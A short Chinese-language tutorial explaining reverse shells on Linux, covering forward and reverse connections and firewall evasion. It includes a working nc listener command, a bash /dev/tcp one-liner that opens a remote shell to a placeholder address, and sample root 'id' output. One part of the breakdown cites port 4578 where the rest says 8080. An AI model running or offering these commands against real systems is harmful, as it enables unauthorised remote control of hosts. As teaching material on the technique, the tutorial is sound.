反弹shell
反弹shell
Linux系统环境
什么是反弹shell
反弹Shell是一种网络攻击技术,用于通过远程主机上的Shell(命令行终端)与攻击者建立连接,从而控制受攻击主机。攻击者通常在受攻击主机上以各种方式植入恶意代码(如后门程序),然后通过网络与该主机上运行的Shell建立反向连接,从而获得对该主机的完全控制权。
攻击者监听端口(TCP/UDP),被攻击端发送请求到该端口,并且 被控端的命令行的 输入输出 也被转到控制端
也就是 控制其他主机 能够实现输入输出命令
正向连接
攻击者打开其他主机的端口,此时攻击者从自己的机器去连接目标机器叫做正向连接
反向连接
是被控主机反向去连接攻击的主机的过程
(反向连接可以突破防火墙屏蔽及权限不足的的限制)
什么时候用反弹shell
当被控端 防火墙受限,权限不足,端口被占登情况 导致攻击者无法对被控端进行直接控制
反弹类型
bash命令反弹shell,nc反弹shell,python反弹shell
服务端
nc命令开启监听端口
nc -lvp 8080 #在本地监听8080端口 等待来自远程主机的链接请求
客户端
通过某种手段 使被控端 执行以下的命令
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1
交互式运行bash shell命令,重定向到IP地址为xxx.xxx.xxx.xxx的计算机上的端口8080
/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
bash -i
参数表示以交互式方式运行Bash Shell并加载当前目录下的bashrc文件(如果存在)
>& /dev/tcp/xx.xx.xx.xx/4578
重定向了输出和错误输出到远程计算机的端口8080
0>&1
输入重定向到输出,实现与反弹shell的交互
结果
当客户端执行命令后服务端会有反显,后就可以执行shell命令了,执行id命令返回结果
# id
uid=0(root) gid=0(root) groups=0(root)